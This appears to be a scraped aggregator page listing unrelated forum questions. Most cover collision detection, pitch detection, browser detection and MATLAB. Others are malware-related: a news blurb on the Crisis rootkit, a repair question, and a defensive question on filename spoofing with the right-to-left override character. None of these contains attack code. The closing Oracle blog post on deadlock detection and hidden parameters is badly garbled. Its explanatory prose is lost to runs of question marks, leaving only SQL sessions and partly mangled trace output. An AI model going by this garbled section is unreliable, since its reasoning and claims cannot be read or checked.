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  • algorithim for simple colision detection in Java

    - by Bob Twinkles
    I'm not very experienced with Java, just started a couple weeks ago, but I have a simple applet that has two user controlled balls, drawn through java.awt and I need a way to detect a collision with between them. I have an algorithm for detecting collision with the walls: while (true){ if (xPositon > (300 - radius)){ xSpeed = -xSpeed; } else if (xPositon < radius){ xSpeed = -xSpeed; } else if (yPositon > (300 - radius)) { ySpeed = -ySpeed; } else if (yPositon < radius){ ySpeed = -ySpeed; } xPositon += xSpeed; yPositon += ySpeed; and for the second ball if (xPositon2 > (300 - radius)){ xSpeed2 = -xSpeed2; } else if (xPositon2 < radius){ xSpeed2 = -xSpeed2; } else if (yPositon2 > (300 - radius)) { ySpeed2 = -ySpeed2; } else if (yPositon2 < radius){ ySpeed2 = -ySpeed2; } xPositon2 += xSpeed2; yPositon2 += ySpeed2; the applet is 300 pixels by 300 pixels radius stores the radius of the circles xPositon and xPositon2 store the x cordanents for the two balls yPositon and yPositon store the y cordanents for the two balls xSpeed and xSpeed2 store the x velocities for the two balls ySpeed and ySpeed2 store the y velocities for the two balls I've only taken algebra 1 so please no advanced math or physics.

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  • Cepstral Analysis for pitch detection

    - by Ohmu
    Hi! I'm looking to extract pitches from a sound signal. Someone on IRC just explain to me how taking a double FFT achieves this. Specifically: take FFT take log of square of absolute value (can be done with lookup table) take another FFT take absolute value I am attempting this using vDSP I can't understand how I didn't come across this technique earlier. I did a lot of hunting and asking questions; several weeks worth. More to the point, I can't understand why I didn't think of it. I am attempting to achieve this with vDSP library. it looks as though it has functions to handle all of these tasks. However, I'm wondering about the accuracy of the final result. I have previously used a technique which scours the frequency bins of a single FFT for local maxima. when it encounters one, it uses a cunning technique (the change in phase since the last FFT) to more accurately place the actual peak within the bin. I am worried that this precision will be lost with this technique I'm presenting here. I guess the technique could be used after the second FFT to get the fundamental accurately. But it kind of looks like the information is lost in step 2. as this is a potentially tricky process, could someone with some experience just look over what I'm doing and check it for sanity? also, I've heard there is an alternative technique involving fitting a quadratic over neighbouring bins. Is this of comparable accuracy? if so, I would favour it, as it doesn't involve remembering bin phases. so questions: does this approach makes sense? Can it be improved? I'm a bit worried about And the log square component; there seems to be a vDSP function to do exactly that: vDSP_vdbcon however, there is no indication it precalculates a log-table -- I assume it doesn't, as the FFT function requires an explicit pre-calculation function to be called and passed into it. and this function doesn't. Is there some danger of harmonics being picked up? is there any cunning way of making vDSP pull out the maxima, biggest first? Can anyone point me towards some research or literature on this technique? the main question: is it accurate enough? Can the accuracy be improved? I have just been told by an expert that the accuracy IS INDEED not sufficient. Is this the end of the line? Pi PS I get SO annoyed (npi) when I want to create tags, but cannot. :| I have suggested to the maintainers that SO keep track of attempted tags, but I'm sure I was ignored. we need tags for vDSP, accelerate framework, cepstral analysis

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  • Browser Detection

    - by Jrgns
    What's the best / simplest / most accurate way to detect the browser of a user? Ease of extendability and implementation is a plus. The less technologies used, the better. The solution can be server side, client side, or both. The results should eventually end up at the server, though. The solution can be framework agnostic. The solution will only be used for reporting purposes.

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  • MATLAB: Automatic detection of relations between workspace variables through functions

    - by Peterstone
    Hi all, I´m trying to write a function what detect this relation between the variables I have got in the workspace: v1 - fft(v2) = 0 Where v1, v2 are variables of my workspace. Sometimes I need to know which variables have a certain numerical relation. If I have thirty, I don´t want to be looking for this relation in "manual way", just itroducing a sentence for each pair of different variables. I would like a function in which I introuce (or I modify this function every time I need it) the sentence (for instance what I wrote before) and the function show me the pair of variables a I am looking for. Does anyone know how to do it? Thank you so much!

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  • how to make a simple collision detection of bitmaps in Android

    - by Dritan Berna
    I already have a code with collision but it has check for winners and ontouch method that I don't really need because my bitmaps are moving itself and I just want them to collide if they overlap. private boolean checkCollision(Grafika first, Grafika second) { boolean retValue = false; int width = first.getBitmap().getWidth(); int height = first.getBitmap().getHeight(); int x1start = first.getCoordinates().getX(); int x1end = x1start + width; int y1start = first.getCoordinates().getY(); int y1end = y1start + height; int x2start = second.getCoordinates().getX(); int x2end = x2start + width; int y2start = second.getCoordinates().getY(); int y2end = y2start + height; if ((x2start >= x1start && x2start <= x1end) || (x2end >= x1start && x2end <= x1end)) { if ((y2start >= y1start && y2start <= y1end) || (y2end >= y1start && y2end <= y1end)) { retValue = true; } } return retValue; }

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  • Oval collision detection not working properly

    - by William
    So I'm trying to implement a test where a oval can connect with a circle, but it's not working. edist = (float) Math.sqrt(Math.pow((px + ((pwidth/2) )) - (bx + (bsize/2)), 2) + Math.pow(-((py + ((pwidth/2)) ) - (bx + (bsize/2))), 2)); and here is the full code (requires Slick2D): import org.newdawn.slick.AppGameContainer; import org.newdawn.slick.BasicGame; import org.newdawn.slick.Color; import org.newdawn.slick.GameContainer; import org.newdawn.slick.Graphics; import org.newdawn.slick.Input; import org.newdawn.slick.SlickException; public class ColTest extends BasicGame{ float px = 50; float py = 50; float pheight = 50; float pwidth = 50; float bx = 200; float by = 200; float bsize = 200; float edist; float pspeed = 3; Input input; public ColTest() { super("ColTest"); } @Override public void init(GameContainer gc) throws SlickException { } @Override public void update(GameContainer gc, int delta) throws SlickException { input = gc.getInput(); try{ if(input.isKeyDown(Input.KEY_UP)) py-=pspeed; if(input.isKeyDown(Input.KEY_DOWN)) py+=pspeed; if(input.isKeyDown(Input.KEY_LEFT)) px-=pspeed; if(input.isKeyDown(Input.KEY_RIGHT)) px+=pspeed; } catch(Exception e){} } public void render(GameContainer gc, Graphics g) throws SlickException { g.setColor(new Color(255,255,255)); g.drawString("col: " + col(), 10, 10); g.drawString("edist: " + edist + " dist: " + dist, 10, 100); g.fillRect(px, py, pwidth, pheight); g.setColor(new Color(255,0,255)); g.fillOval(px, py, pwidth, pheight); g.setColor(new Color(255,255,255)); g.fillOval(200, 200, 200, 200); } public boolean col(){ edist = (float) Math.sqrt(Math.pow((px + ((pwidth/2) )) - (bx + (bsize/2)), 2) + Math.pow(-((py + ((pwidth/2)) ) - (bx + (bsize/2))), 2)); if(edist <= (bsize/2) + (px + (pwidth/2))) return true; else return false; } public float rotate(float x, float y, float ox, float oy, float a, boolean b) { float dst = (float) Math.sqrt(Math.pow(x-ox,2.0)+ Math.pow(y-oy,2.0)); float oa = (float) Math.atan2(y-oy,x-ox); if(b) return (float) Math.cos(oa + Math.toRadians(a))*dst+ox; else return (float) Math.sin(oa + Math.toRadians(a))*dst+oy; } public static void main(String[] args) throws SlickException { AppGameContainer app = new AppGameContainer( new ColTest() ); app.setShowFPS(false); app.setAlwaysRender(true); app.setTargetFrameRate(60); app.setDisplayMode(800, 600, false); app.start(); } }

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  • Collision detection problems...

    - by thyrgle
    Hi, I have written the following: -(void) checkIfLineCollidesWithAll { float slope = ((160-L1Circle1.position.y)-(160-L1Circle2.position.y))/((240-L1Circle1.position.x)-(240-L1Circle2.position.x)); float b = (160-L1Circle1.position.y) - slope * (240-L1Circle1.position.x); if ((240-L1Sensor1.position.x) < (240-L1Circle1.position.x) && (240-L1Sensor1.position.x) < (240-L1Circle2.position.x) || ((240-L1Sensor1.position.x) > (240-L1Circle1.position.x) && (240-L1Sensor1.position.x) > (240-L1Circle2.position.x))) { [L1Sensor1 setTexture:[[CCTextureCache sharedTextureCache] addImage:@"SensorOk.png"]]; } else if (slope == INFINITY || slope == -INFINITY) { if (L1Circle1.position.y + 16 >= L1Sensor1.position.y || L1Circle1.position.y - 16 <= L1Sensor1.position.y) { [L1Sensor1 setTexture:[[CCTextureCache sharedTextureCache] addImage:@"SensorBad.png"]]; } else { [L1Sensor1 setTexture:[[CCTextureCache sharedTextureCache] addImage:@"SensorOk.png"]]; } } else if (160-L1Sensor1.position.y + 12 >= slope*(240-L1Sensor1.position.x) + b && 160-L1Sensor1.position.y - 12 <= slope*(240-L1Sensor1.position.x) + b) { [L1Sensor1 setTexture:[[CCTextureCache sharedTextureCache] addImage:@"SensorBad.png"]]; } else { [L1Sensor1 setTexture:[[CCTextureCache sharedTextureCache] addImage:@"SensorOk.png"]]; } } Basically what this does is finds m and b in the well known equation: y = mx + b and then substitutes coordinates of the L1Sensor1 (the circle I'm trying to detect if it it intersects with the line segment) to see if y = mx + b hold true. But, there are two problems, first, when slope approaches infinity the range of what the L1Sensor1 should "react" to (it "reacts" by changing its image) becomes smaller. Also, the code that should handle infinity is not working. Thanks for the help in advanced.

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  • Collision Detection for arbitrarily sized, positioned and rotated rectangles in XNA

    - by Stefan
    I'm working with xna in C# and in my game I will have a variety of space ships flying all over the place. They will each have an arbitrary rotation, size and position in space and I need a method to determine when they collide. Ideally the method would take two Rectangles, two doubles and two Vector2s for size, rotation and position respectively and return a boolean that indicates whether they have intersected or not.

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  • Detection screen disconnection in linux

    - by Dark Templer
    Hey Guys We have a nasty little problem. In short we can detect if a screen is connect when x11 boots (we do this by looking at the log - Xorg.0.log), but we are having trouble detect when are screen is disconnected while the machine is running (ie post x11 boot) Any one have any ideas? Cheers

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  • Square collision detection problem (iPhone).

    - by thyrgle
    Hi, I know I've probably posted three questions related to this then deleted them, but thats only because I solved them before I got an answer. But, this one I can not solve and I don't believe it is that hard compared to the others. So, with out further ado, here is my problem: So I am using Cocos2d and one of the major problem is they don't have buttons. To compensate for there lack in buttons I am trying to detect if when a touch ended did it collide with a square (the button). Here is my code: - (void)ccTouchesEnded:(NSSet*)touches withEvent:(UIEvent*)event { UITouch *touch = [touches anyObject]; CGPoint location = [touch locationInView:touch.view]; NSLog(@"%f", 240-location.y); if (isReady == YES) { if (((240-location.y) <= (240-StartButton.position.x - 100) || -(240-location.y) >= (240-StartButton.position.x) + 100) && ((160-location.x) <= (160-StartButton.position.y) - 25 || (160-location.x) >= (160-StartButton.position.y) + 25)) { NSLog(@"Coll:%f", 240-StartButton.position.x); CCScene *scene = [PlayScene node]; [[CCDirector sharedDirector] replaceScene:[CCZoomFlipAngularTransition transitionWithDuration:2.0f scene:scene orientation:kOrientationRightOver]]; } } } Do you know what I am doing wrong?

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  • Week in Geek: Botnet Epidemic Fueled by Malware Toolkits Edition

    - by Asian Angel
    This week we learned how to stream media files from any PC to a PlayStation, enable user-specific wireless networks in Windows 7, monitor the bandwidth consumption of individual applications, configure the Linux Grub2 Boot Menu the easy way, “add Dropbox to the Start Menu, understand symbolic links, & rip TV Series DVDs into episode files”, and more Latest Features How-To Geek ETC How to Enable User-Specific Wireless Networks in Windows 7 How to Use Google Chrome as Your Default PDF Reader (the Easy Way) How To Remove People and Objects From Photographs In Photoshop Ask How-To Geek: How Can I Monitor My Bandwidth Usage? Internet Explorer 9 RC Now Available: Here’s the Most Interesting New Stuff Here’s a Super Simple Trick to Defeating Fake Anti-Virus Malware Comix is an Awesome Comics Archive Viewer for Linux Get the MakeUseOf eBook Guide to Speeding Up Windows for Free Need Tech Support? Call the Star Wars Help Desk! [Video Classic] Reclaim Vertical UI Space by Adding a Toolbar to the Left or Right Side of Firefox Androidify Turns You into an Android-style Avatar Reader for Android Updates; Now with Feed Widgets and More

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  • Crisis : le premier malware à cibler les machines virtuelles sous Windows

    Crisis : le premier malware à cibler les machines virtuelles Sous Windows Préalablement connu sous le nom Morcut, "Crisis" est un rootkit malicieux qui infecte les systèmes d'exploitation Windows et Mac OS X. Il y arrive par l'utilisation d'un faux installeur d'Adobe Flash Player dissimulé dans une archive JAR numériquement signé par VeriSign. Cette dernière contient deux exécutables, un pour Mac OS X et un autre pour Windows. Selon le dernier rapport de Symantec Security, le logiciel malveillant se propage dans l'environnement Windows par l'utilisation du mécanisme d'autorun des disques durs amovibles, et les composants d'installation dans les dispositifs Windows Mobile. Entr...

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  • File association and msconfig broken. Malware?

    - by Moshe
    A friend of mine had an Acer laptop. It has Vista Home Basic. I can't get system properties open. Msconfig does not run. Also, exe filetype is asking me what program to run it with. How can I fix that? I'm running AVG now. Assuming nothing shows up, what are fixes to the above mentioned issues?

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  • Is there any way to set up a malware-blocking transparent proxy on an Airport Extreme?

    - by Chris R
    I'd like to add some kind of easily-administered transparent HTTP proxy to my home network. Ideally, it would allow me to, for example, redirect web requests to blacklisted servers into nothing, block certain kinds of content, et al. My home network at the moment consists of a mac mini media server that could -- if the load wasn't huge -- fill this role as well, an Airport Extreme, and a mac laptop that is my main machine. I'm reasonably technically savvy, so don't spare the complicated answers.

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  • What are ways to prevent files with the Right-to-Left Override Unicode character in their name (a malware spoofing method) from being written or read?

    - by galacticninja
    What are ways to avoid or prevent files with the RLO (Right-to-Left Override) Unicode character in their name (a malware method to spoof filenames) from being written or read in a Windows PC? More info on the RLO unicode character here: http://www.fileformat.info/info/unicode/char/202e/index.htm http://en.wikipedia.org/wiki/Bi-directional_text Info on the RLO unicode character when used by malware: http://www.ipa.jp/security/english/virus/press/201110/E_PR201110.html Mirror link: http://webcache.googleusercontent.com/search?q=cache:KasmfOvbVJ8J:www.ipa.jp/security/english/virus/press/201110/E_PR201110.html+&cd=1&hl=en&ct=clnk You can try this RLO character test webpage: http://www.fileformat.info/info/unicode/char/202e/browsertest.htm The RLO character is also already pasted in the 'Input Test' field in that webpage. Try typing there and notice that the characters you're typing are coming out in their reverse orders (right-to-left, instead of left-to-right). In filenames, the RLO character can be specifically positioned in the filename to spoof or masquerade as having a filename or file extension that is different than what it actually has. (Will still be hidden even if 'Hide extensions for known filetypes' is unchecked.) The only info I can find that has info on how to prevent files with the RLO character from being run is from the Information Technology Promotion Agency, Japan website: http://www.ipa.jp/security/english/virus/press/201110/E_PR201110.html (Mirror link). They adviced to use the Local Security Policy settings manager to block files with the RLO character in its name from being run. Can anyone recommend any other good solutions to prevent files with the RLO character in their names from being written or being read in the computer, or a way to alert the user if a file with the RLO character is detected? My OS is Windows 7, but I'll be looking for solutions for Windows XP, Vista and 7, or a solution that will work for all those OSes, to help people using those OSes too.

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  • Know more about Enqueue Deadlock Detection

    - by Liu Maclean(???)
    ??? ORACLE ALLSTAR???????????????????,??????? ???????enqueue lock?????????3 ??????,????????????????????????????ora-00060 dead lock??process???3s: SQL> select * from v$version; BANNER ---------------------------------------------------------------- Oracle Database 10g Enterprise Edition Release 10.2.0.5.0 - 64bi PL/SQL Release 10.2.0.5.0 - Production CORE 10.2.0.5.0 Production TNS for Linux: Version 10.2.0.5.0 - Production NLSRTL Version 10.2.0.5.0 - Production SQL> select * from global_name; GLOBAL_NAME -------------------------------------------------------------------------------- www.oracledatabase12g.com PROCESS A: set timing on; update maclean1 set t1=t1+1; PROCESS B: update maclean2 set t1=t1+1; PROCESS A: update maclean2 set t1=t1+1; PROCESS B: update maclean1 set t1=t1+1; ??3s? PROCESS A ?? ERROR at line 1: ORA-00060: deadlock detected while waiting for resource Elapsed: 00:00:03.02 ????Process A????????????? 3s,?????????????,??????? ?????????? ???????: SQL> col name for a30 SQL> col value for a5 SQL> col DESCRIB for a50 SQL> set linesize 140 pagesize 1400 SQL> SELECT x.ksppinm NAME, y.ksppstvl VALUE, x.ksppdesc describ 2 FROM SYS.x$ksppi x, SYS.x$ksppcv y 3 WHERE x.inst_id = USERENV ('Instance') 4 AND y.inst_id = USERENV ('Instance') 5 AND x.indx = y.indx 6 AND x.ksppinm='_enqueue_deadlock_scan_secs'; NAME VALUE DESCRIB ------------------------------ ----- -------------------------------------------------- _enqueue_deadlock_scan_secs 0 deadlock scan interval SQL> alter system set "_enqueue_deadlock_scan_secs"=18 scope=spfile; System altered. Elapsed: 00:00:00.01 SQL> startup force; ORACLE instance started. Total System Global Area 851443712 bytes Fixed Size 2100040 bytes Variable Size 738198712 bytes Database Buffers 104857600 bytes Redo Buffers 6287360 bytes Database mounted. Database opened. PROCESS A: SQL> set timing on; SQL> update maclean1 set t1=t1+1; 1 row updated. Elapsed: 00:00:00.06 Process B SQL> update maclean2 set t1=t1+1; 1 row updated. SQL> update maclean1 set t1=t1+1; Process A: SQL> SQL> alter session set events '10704 trace name context forever,level 10:10046 trace name context forever,level 8'; Session altered. SQL> update maclean2 set t1=t1+1; update maclean2 set t1=t1+1 * ERROR at line 1: ORA-00060: deadlock detected while waiting for resource  Elapsed: 00:00:18.05 ksqcmi: TX,90011,4a9 mode=6 timeout=21474836 WAIT #12: nam='enq: TX - row lock contention' ela= 2930070 name|mode=1415053318 usn<<16 | slot=589841 sequence=1193 obj#=56810 tim=1308114759849120 WAIT #12: nam='enq: TX - row lock contention' ela= 2930636 name|mode=1415053318 usn<<16 | slot=589841 sequence=1193 obj#=56810 tim=1308114762779801 WAIT #12: nam='enq: TX - row lock contention' ela= 2930439 name|mode=1415053318 usn<<16 | slot=589841 sequence=1193 obj#=56810 tim=1308114765710430 *** 2012-06-12 09:58:43.089 WAIT #12: nam='enq: TX - row lock contention' ela= 2931698 name|mode=1415053318 usn<<16 | slot=589841 sequence=1193 obj#=56810 tim=1308114768642192 WAIT #12: nam='enq: TX - row lock contention' ela= 2930428 name|mode=1415053318 usn<<16 | slot=589841 sequence=1193 obj#=56810 tim=1308114771572755 WAIT #12: nam='enq: TX - row lock contention' ela= 2931408 name|mode=1415053318 usn<<16 | slot=589841 sequence=1193 obj#=56810 tim=1308114774504207 DEADLOCK DETECTED ( ORA-00060 ) [Transaction Deadlock] The following deadlock is not an ORACLE error. It is a deadlock due to user error in the design of an application or from issuing incorrect ad-hoc SQL. The following information may aid in determining the deadlock: ??????Process A?’enq: TX – row lock contention’ ?????ORA-00060 deadlock detected????3s ??? 18s , ???hidden parameter “_enqueue_deadlock_scan_secs”?????,????????0? ??????????: SQL> alter system set "_enqueue_deadlock_scan_secs"=4 scope=spfile; System altered. Elapsed: 00:00:00.01 SQL> alter system set "_enqueue_deadlock_time_sec"=9 scope=spfile; System altered. Elapsed: 00:00:00.00 SQL> startup force; ORACLE instance started. Total System Global Area 851443712 bytes Fixed Size 2100040 bytes Variable Size 738198712 bytes Database Buffers 104857600 bytes Redo Buffers 6287360 bytes Database mounted. Database opened. SQL> set linesize 140 pagesize 1400 SQL> show parameter dead NAME TYPE VALUE ------------------------------------ -------------------------------- ------------------------------ _enqueue_deadlock_scan_secs integer 4 _enqueue_deadlock_time_sec integer 9 SQL> set timing on SQL> select * from maclean1 for update wait 8; T1 ---------- 11 Elapsed: 00:00:00.01 PROCESS B SQL> select * from maclean2 for update wait 8; T1 ---------- 3 SQL> select * from maclean1 for update wait 8; select * from maclean1 for update wait 8 PROCESS A SQL> select * from maclean2 for update wait 8; select * from maclean2 for update wait 8 * ERROR at line 1: ORA-30006: resource busy; acquire with WAIT timeout expired Elapsed: 00:00:08.00 ???????? ??? select for update wait?enqueue request timeout ?????8s? ,???????”_enqueue_deadlock_scan_secs”=4(deadlock scan interval),?4s???deadlock detected,????Process A????deadlock ???, ??????? ??Process A?????8s?raised??”ORA-30006: resource busy; acquire with WAIT timeout expired”??,??ORA-00060,?????process A???????? ????????”_enqueue_deadlock_time_sec”(requests with timeout <= this will not have deadlock detection)???,?enqueue request time < “_enqueue_deadlock_time_sec”?Server process?????dead lock detection,?????????enqueue request ??????timeout??????(_enqueue_deadlock_time_sec????5,?timeout<5s),???????????????;??????timeout>”_enqueue_deadlock_time_sec”???,Oracle????????????????????? ??????????: SQL> show parameter dead NAME TYPE VALUE ------------------------------------ -------------------------------- ------------------------------ _enqueue_deadlock_scan_secs integer 4 _enqueue_deadlock_time_sec integer 9 Process A: SQL> set timing on; SQL> select * from maclean1 for update wait 10; T1 ---------- 11 Process B: SQL> select * from maclean2 for update wait 10; T1 ---------- 3 SQL> select * from maclean1 for update wait 10; PROCESS A: SQL> select * from maclean2 for update wait 10; select * from maclean2 for update wait 10 * ERROR at line 1: ORA-00060: deadlock detected while waiting for resource Elapsed: 00:00:06.02 ??????? select for update wait 10?10s??, ?? 10s?????_enqueue_deadlock_time_sec???(9s),??Process A???????? ???????????????6s ???????_enqueue_deadlock_scan_secs?4s ? ???????????,???????????_enqueue_deadlock_scan_secs?????????3???? ??: enqueue lock?????????????? 1. ?????????deadlock detection??3s????, ????????_enqueue_deadlock_scan_secs(deadlock scan interval)???,??????0,????????_enqueue_deadlock_scan_secs?????????3???, ?_enqueue_deadlock_scan_secs=0 ??3s??, ?_enqueue_deadlock_scan_secs=4??6s??,????? 2. ???????_enqueue_deadlock_time_sec(requests with timeout <= this will not have deadlock detection)???,?enqueue request timeout< _enqueue_deadlock_time_sec(????5),?Server process?????????enqueue request timeout>_enqueue_deadlock_time_sec ????_enqueue_deadlock_scan_secs???????, ??request timeout??????select for update wait [TIMEOUT]??? ??: ???10.2.0.1?????????2?hidden parameter , ???patchset 10.2.0.3????? _enqueue_deadlock_time_sec, ?patchset 10.2.0.5??????_enqueue_deadlock_scan_secs? ?????RAC???????????10s, ???????_lm_dd_interval(dd time interval in seconds) ,????????8.0.6???? ???????????????,??????,  ?10g???????60s,?11g???????10s?  ???????11g??_lm_dd_interval?????????????,?????11g??LMD????????????,??????????RAC?LMD?Deadlock Detection???????CPU,???11g?Oracle????Team???LMD????????CPU????: ????????11g?LMD???????,???????11g??? UTS TRACE ????? DD???: SQL> select * from v$version; BANNER -------------------------------------------------------------------------------- Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production PL/SQL Release 11.2.0.3.0 - Production CORE 11.2.0.3.0 Production TNS for Linux: Version 11.2.0.3.0 - Production NLSRTL Version 11.2.0.3.0 - Production SQL> SQL> select * from global_name 2 ; GLOBAL_NAME -------------------------------------------------------------------------------- www.oracledatabase12g.com SQL> alter system set "_lm_dd_interval"=20 scope=spfile; System altered. SQL> startup force; ORACLE instance started. Total System Global Area 1570009088 bytes Fixed Size 2228704 bytes Variable Size 1325403680 bytes Database Buffers 234881024 bytes Redo Buffers 7495680 bytes Database mounted. Database opened. SQL> set linesize 140 pagesize 1400 SQL> show parameter lm_dd NAME TYPE VALUE ------------------------------------ -------------------------------- ------------------------------ _lm_dd_interval integer 20 SQL> select count(*) from gv$instance; COUNT(*) ---------- 2 instance 1: SQL> oradebug setorapid 12 Oracle pid: 12, Unix process pid: 8608, image: [email protected] (LMD0) ? LMD0??? UTS TRACE??RAC???????????? SQL> oradebug event 10046 trace name context forever,level 8:10708 trace name context forever,level 103: trace[rac.*] disk high; Statement processed. Elapsed: 00:00:00.00 SQL> update maclean1 set t1=t1+1; 1 row updated. instance 2: SQL> update maclean2 set t1=t1+1; 1 row updated. SQL> update maclean1 set t1=t1+1; Instance 1: SQL> update maclean2 set t1=t1+1; update maclean2 set t1=t1+1 * ERROR at line 1: ORA-00060: deadlock detected while waiting for resource Elapsed: 00:00:20.51 LMD0???UTS TRACE 2012-06-12 22:27:00.929284 : [kjmpbmsg:process][type 22][msg 0x7fa620ac85a8][from 1][seq 8148.0][len 192] 2012-06-12 22:27:00.929346 : [kjmxmpm][type 22][seq 0.0][msg 0x7fa620ac85a8][from 1] *** 2012-06-12 22:27:00.929 * kjddind: received DDIND msg with subtype x6 * reqp->dd_master_inst_kjxmddi == 1 * kjddind: dump sgh: 2012-06-12 22:27:00.929346*: kjddind: req->timestamp [0.15], kjddt [0.13] 2012-06-12 22:27:00.929346*: >> DDmsg:KJX_DD_REMOTE,TS[0.15],Inst 1->2,ddxid[id1,id2,inst:2097153,31,1],ddlock[0x95023930,829],ddMasterInst 1 2012-06-12 22:27:00.929346*: lock [0x95023930,829], op = [mast] 2012-06-12 22:27:00.929346*: reqp->timestamp [0.15], kjddt [0.13] 2012-06-12 22:27:00.929346*: kjddind: updated local timestamp [0.15] * kjddind: case KJX_DD_REMOTE 2012-06-12 22:27:00.929346*: ADD IO NODE WFG: 0 frame pointer 2012-06-12 22:27:00.929346*: PUSH: type=res, enqueue(0xffffffff.0xffffffff)=0xbbb9af40, block=KJUSEREX, snode=1 2012-06-12 22:27:00.929346*: PROCESS: type=res, enqueue(0xffffffff.0xffffffff)=0xbbb9af40, block=KJUSEREX, snode=1 2012-06-12 22:27:00.929346*: POP: type=res, enqueue(0xffffffff.0xffffffff)=0xbbb9af40, block=KJUSEREX, snode=1 2012-06-12 22:27:00.929346*: kjddopr[TX 0xe000c.0x32][ext 0x5,0x0]: blocking lock 0xbbb9a800, owner 2097154 of inst 2 2012-06-12 22:27:00.929346*: PUSH: type=txn, enqueue(0xffffffff.0xffffffff)=0xbbb9a800, block=KJUSEREX, snode=1 2012-06-12 22:27:00.929346*: PROCESS: type=txn, enqueue(0xffffffff.0xffffffff)=0xbbb9a800, block=KJUSEREX, snode=1 2012-06-12 22:27:00.929346*: ADD NODE TO WFG: type=txn, enqueue(0xffffffff.0xffffffff)=0xbbb9a800, block=KJUSEREX, snode=1 2012-06-12 22:27:00.929346*: POP: type=txn, enqueue(0xffffffff.0xffffffff)=0xbbb9a800, block=KJUSEREX, snode=1 2012-06-12 22:27:00.929346*: kjddopt: converting lock 0xbbce92f8 on 'TX' 0x80016.0x5d4,txid [2097154,34]of inst 2 2012-06-12 22:27:00.929346*: PUSH: type=res, enqueue(0xffffffff.0xffffffff)=0xbbce92f8, block=KJUSEREX, snode=1 2012-06-12 22:27:00.929346*: PROCESS: type=res, enqueue(0xffffffff.0xffffffff)=0xbbce92f8, block=KJUSEREX, snode=1 2012-06-12 22:27:00.929346*: ADD NODE TO WFG: type=res, enqueue(0xffffffff.0xffffffff)=0xbbce92f8, block=KJUSEREX, snode=1 2012-06-12 22:27:00.929855 : GSIPC:AMBUF: rcv buff 0x7fa620aa8cd8, pool rcvbuf, rqlen 1102 2012-06-12 22:27:00.929878 : GSIPC:GPBMSG: new bmsg 0x7fa620aa8d48 mb 0x7fa620aa8cd8 msg 0x7fa620aa8d68 mlen 192 dest x100 flushsz -1 2012-06-12 22:27:00.929878*: << DDmsg:KJX_DD_REMOTE,TS[0.15],Inst 2->1,ddxid[id1,id2,inst:2097153,31,1],ddlock[0x95023930,829],ddMasterInst 1 2012-06-12 22:27:00.929878*: lock [0xbbce92f8,287], op = [mast] 2012-06-12 22:27:00.929878*: ADD IO NODE WFG: 0 frame pointer 2012-06-12 22:27:00.929923 : [kjmpbmsg:compl][msg 0x7fa620ac8588][typ p][nmsgs 1][qtime 0][ptime 0] 2012-06-12 22:27:00.929947 : GSIPC:PBAT: flush start. flag 0x79 end 0 inc 4.4 2012-06-12 22:27:00.929963 : GSIPC:PBAT: send bmsg 0x7fa620aa8d48 blen 224 dest 1.0 2012-06-12 22:27:00.929979 : GSIPC:SNDQ: enq msg 0x7fa620aa8d48, type 65521 seq 8325, inst 1, receiver 0, queued 1 012-06-12 22:27:00.929979 : GSIPC:SNDQ: enq msg 0x7fa620aa8d48, type 65521 seq 8325, inst 1, receiver 0, queued 1 2012-06-12 22:27:00.929996 : GSIPC:BSEND: flushing sndq 0xb491dd28, id 0, dcx 0xbc517770, inst 1, rcvr 0 qlen 0 1 2012-06-12 22:27:00.930014 : GSIPC:BSEND: no batch1 msg 0x7fa620aa8d48 type 65521 len 224 dest (1:0) 2012-06-12 22:27:00.930088 : kjbsentscn[0x0.3f72dc][to 1] 2012-06-12 22:27:00.930144 : GSIPC:SENDM: send msg 0x7fa620aa8d48 dest x10000 seq 8325 type 65521 tkts x1 mlen xe00110 2012-06-12 22:27:00.930531 : GSIPC:KSXPCB: msg 0x7fa620aa8d48 status 30, type 65521, dest 1, rcvr 0 WAIT #0: nam='ges remote message' ela= 1372 waittime=80 loop=0 p3=74 obj#=-1 tim=1339554420931640 2012-06-12 22:27:00.931728 : GSIPC:RCVD: ksxp msg 0x7fa620af6490 sndr 1 seq 0.8149 type 65521 tkts 1 2012-06-12 22:27:00.931746 : GSIPC:RCVD: watq msg 0x7fa620af6490 sndr 1, seq 8149, type 65521, tkts 1 2012-06-12 22:27:00.931763 : GSIPC:RCVD: seq update (0.8148)->(0.8149) tp -15 fg 0x4 from 1 pbattr 0x0 2012-06-12 22:27:00.931779 : GSIPC:TKT: collect msg 0x7fa620af6490 from 1 for rcvr 0, tickets 1 2012-06-12 22:27:00.931794 : kjbrcvdscn[0x0.3f72dc][from 1][idx 2012-06-12 22:27:00.931810 : kjbrcvdscn[no bscn dd_master_inst_kjxmddi == 1 * kjddind: dump sgh: NXTIN (nil) 0 wq 0 cvtops x0 0x0.0x0(ext 0x0,0x0)[0000-0000-00000000] inst 1 BLOCKER 0xbbb9a800 5 wq 1 cvtops x28 TX 0xe000c.0x32(ext 0x5,0x0)[20000-0002-00000022] inst 2 BLOCKED 0xbbce92f8 5 wq 2 cvtops x1 TX 0x80016.0x5d4(ext 0x2,0x0)[20000-0002-00000022] inst 2 NXTOUT (nil) 0 wq 0 cvtops x0 0x0.0x0(ext 0x0,0x0)[0000-0000-00000000] inst 1 2012-06-12 22:27:00.932058*: kjddind: req->timestamp [0.15], kjddt [0.15] 2012-06-12 22:27:00.932058*: >> DDmsg:KJX_DD_VALIDATE,TS[0.15],Inst 1->2,ddxid[id1,id2,inst:2097153,31,1],ddlock[0x95023930,829],ddMasterInst 1 2012-06-12 22:27:00.932058*: lock [(nil),0], op = [vald_dd] 2012-06-12 22:27:00.932058*: kjddind: updated local timestamp [0.15] * kjddind: case KJX_DD_VALIDATE *** 2012-06-12 22:27:00.932 * kjddvald called: kjxmddi stuff: * cont_lockp (nil) * dd_lockp 0x95023930 * dd_inst 1 * dd_master_inst 1 * sgh graph: NXTIN (nil) 0 wq 0 cvtops x0 0x0.0x0(ext 0x0,0x0)[0000-0000-00000000] inst 1 BLOCKER 0xbbb9a800 5 wq 1 cvtops x28 TX 0xe000c.0x32(ext 0x5,0x0)[20000-0002-00000022] inst 2 BLOCKED 0xbbce92f8 5 wq 2 cvtops x1 TX 0x80016.0x5d4(ext 0x2,0x0)[20000-0002-00000022] inst 2 NXTOUT (nil) 0 wq 0 cvtops x0 0x0.0x0(ext 0x0,0x0)[0000-0000-00000000] inst 1 POP WFG NODE: lock=(nil) * kjddvald: dump the PRQ: BLOCKER 0xbbb9a800 5 wq 1 cvtops x28 TX 0xe000c.0x32(ext 0x5,0x0)[20000-0002-00000022] inst 2 BLOCKED 0xbbce92f8 5 